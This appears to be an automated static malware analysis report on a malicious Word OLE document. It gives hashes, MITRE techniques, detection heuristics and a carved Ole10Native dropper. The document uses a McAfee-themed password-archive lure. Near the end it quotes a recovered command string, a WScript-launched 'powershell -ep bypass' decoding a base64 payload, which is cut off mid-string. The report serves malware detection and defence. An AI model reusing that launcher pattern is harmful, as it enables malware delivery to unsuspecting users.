Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b4f105e099186e5…

MALICIOUS

Office (OLE)

137.5 KB Created: 2017-02-17 09:46:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 5a88e3825c5e89b07fa9050b6b6eca7c SHA-1: 36099a72130003bea78beda1504cf671c4a816c3 SHA-256: 5b4f105e099186e5c8c61d04f5333563652f7981185c6a75c977e8adadd9741e
302 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059.001 PowerShell

The sample is an OLE document that uses a password-protected archive lure, claiming McAfee security, to hide its payload. Heuristics indicate the embedded Ole10Native package likely drops an executable file (ole10native_00.bin). The presence of references to PowerShell and Wscript.shell, along with the 'Wscript.shell") objShell.run "powershell -ep bypass -C "$da' sequence, suggests an attempt to execute a second-stage payload via scripting.

Heuristics 8

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1548830318/Ole10Native 8128 bytes
SHA-256: a487b08337e4615a64b2265927b94e2a0fe0ae5a525ed04c1a402fd1bcea8eaf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.shell"), powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1baVMbSbb9zq9QEI4YiDGLDe5wtIOJl9rVIInSasn0M6VStZC1FFaVXMY9/Pc552QhBAiM2zy/7piOXoSkXO5

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